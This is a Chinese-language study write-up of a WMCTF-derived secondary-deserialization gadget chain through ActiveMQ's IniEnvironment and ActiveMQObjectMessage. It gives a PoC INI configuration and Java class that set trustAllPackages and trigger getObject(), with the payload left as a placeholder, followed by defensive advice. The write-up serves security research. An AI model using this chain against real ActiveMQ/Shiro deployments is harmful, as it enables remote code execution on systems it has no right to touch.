二次反序列化新链学习
字数 1051 2025-08-24 07:48:34

二次反序列化新链学习文档

前言

本文档详细分析了一条能够实现二次反序列化的新链,基于Apache Shiro和ActiveMQ的IniEnvironment类实现。该链在WMCTF比赛中被发现,具有重要的安全研究价值。

核心组件分析

IniEnvironment类

IniEnvironment是Apache ActiveMQ Shiro环境的核心类,负责解析INI格式的配置并构建相应的对象。

关键方法:

public IniEnvironment(String iniConfig) {
    Ini ini = new Ini();
    ini.load(iniConfig);
    this.ini = ini;
    this.init();
}

反序列化流程

  1. 初始化阶段

    • 创建Ini对象加载配置内容
    • 调用init()方法初始化
  2. 对象创建阶段

    • 通过createObjects方法创建对象
    • 使用IniSecurityManagerFactory工厂类实例化对象
  3. 属性赋值阶段

    • 通过反射调用setter和getter方法
    • 使用Apache Commons Beanutils进行属性操作

关键利用点

ActiveMQObjectMessage类

ActiveMQObjectMessage是ActiveMQ的命令类,包含二次反序列化的关键方法:

public Serializable getObject() throws JMSException {
    if (object == null && getContent() != null) {
        try {
            ByteSequence content = getContent();
            InputStream is = new ByteArrayInputStream(content);
            if (isCompressed()) {
                is = new InflaterInputStream(is);
            }
            DataInputStream dataIn = new DataInputStream(is);
            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
            objIn.setTrustedPackages(trustedPackages);
            objIn.setTrustAllPackages(trustAllPackages);
            try {
                object = (Serializable)objIn.readObject();
            } catch (ClassNotFoundException ce) {
                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
            } finally {
                dataIn.close();
            }
        } catch (IOException e) {
            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
        }
    }
    return this.object;
}

ByteSequence类

ByteSequence用于存储序列化数据,构造方法如下:

public ByteSequence(byte data[]) {
    this.data = data;
    this.offset = 0;
    this.length = data.length;
}

利用条件

  1. 能够控制ActiveMQObjectMessagecontent属性
  2. 能够设置trustAllPackages为true
  3. 能够触发getObject()方法调用

POC构造

依赖要求

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

INI配置格式

[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=<base64编码的序列化数据>
byteSequence.length=<数据长度>
byteSequence.offset=0
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1

Java代码实现

package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;

public class doubleser {
    public static void main(String[] args) {
        IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
            "activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
            "byteSequence=org.apache.activemq.util.ByteSequence\n" +
            "byteSequence.data=<base64编码的序列化数据>\n" +
            "byteSequence.length=<数据长度>\n" +
            "byteSequence.offset=0\n" +
            "activeMQObjectMessage.content=$byteSequence\n" +
            "activeMQObjectMessage.trustAllPackages=true\n" +
            "activeMQObjectMessage.object.a=1");
    }
}

技术细节

属性赋值机制

  1. Setter方法调用

    • 通过applyProperty方法调用对象的setter方法
    • 使用反射机制设置属性值
  2. Getter方法触发

    • 当访问嵌套属性时会调用getter方法
    • 例如user.object.a=1会先调用getObject()方法

参数控制要点

  1. ByteSequence参数

    • 必须设置datalengthoffset三个属性
    • 仅设置data属性无法触发反序列化
  2. 信任设置

    • trustAllPackages必须设置为true
    • 否则会限制反序列化的类

调试分析

关键调用栈:

newInstance:206, ClassUtils (org.apache.shiro.util)
newInstance:193, ClassUtils (org.apache.shiro.util)
createNewInstance:330, ReflectionBuilder (org.apache.shiro.config)
doExecute:971, ReflectionBuilder$InstantiationStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)
buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:7, doubleser (org.example)

防御建议

  1. 限制INI配置的来源
  2. 禁用不必要的反射功能
  3. 保持组件最新版本
  4. 实施严格的输入验证
  5. 限制反序列化的类范围

总结

这条二次反序列化链通过Shiro的INI配置解析机制,结合ActiveMQ的消息处理功能,实现了高效的二次反序列化攻击。理解其工作原理对于防御类似攻击具有重要意义。

二次反序列化新链学习文档 前言 本文档详细分析了一条能够实现二次反序列化的新链,基于Apache Shiro和ActiveMQ的IniEnvironment类实现。该链在WMCTF比赛中被发现,具有重要的安全研究价值。 核心组件分析 IniEnvironment类 IniEnvironment 是Apache ActiveMQ Shiro环境的核心类,负责解析INI格式的配置并构建相应的对象。 关键方法: 反序列化流程 初始化阶段 : 创建Ini对象加载配置内容 调用init()方法初始化 对象创建阶段 : 通过 createObjects 方法创建对象 使用 IniSecurityManagerFactory 工厂类实例化对象 属性赋值阶段 : 通过反射调用setter和getter方法 使用Apache Commons Beanutils进行属性操作 关键利用点 ActiveMQObjectMessage类 ActiveMQObjectMessage 是ActiveMQ的命令类,包含二次反序列化的关键方法: ByteSequence类 ByteSequence 用于存储序列化数据,构造方法如下: 利用条件 能够控制 ActiveMQObjectMessage 的 content 属性 能够设置 trustAllPackages 为true 能够触发 getObject() 方法调用 POC构造 依赖要求 INI配置格式 Java代码实现 技术细节 属性赋值机制 Setter方法调用 : 通过 applyProperty 方法调用对象的setter方法 使用反射机制设置属性值 Getter方法触发 : 当访问嵌套属性时会调用getter方法 例如 user.object.a=1 会先调用 getObject() 方法 参数控制要点 ByteSequence参数 : 必须设置 data 、 length 和 offset 三个属性 仅设置 data 属性无法触发反序列化 信任设置 : trustAllPackages 必须设置为true 否则会限制反序列化的类 调试分析 关键调用栈: 防御建议 限制INI配置的来源 禁用不必要的反射功能 保持组件最新版本 实施严格的输入验证 限制反序列化的类范围 总结 这条二次反序列化链通过Shiro的INI配置解析机制,结合ActiveMQ的消息处理功能,实现了高效的二次反序列化攻击。理解其工作原理对于防御类似攻击具有重要意义。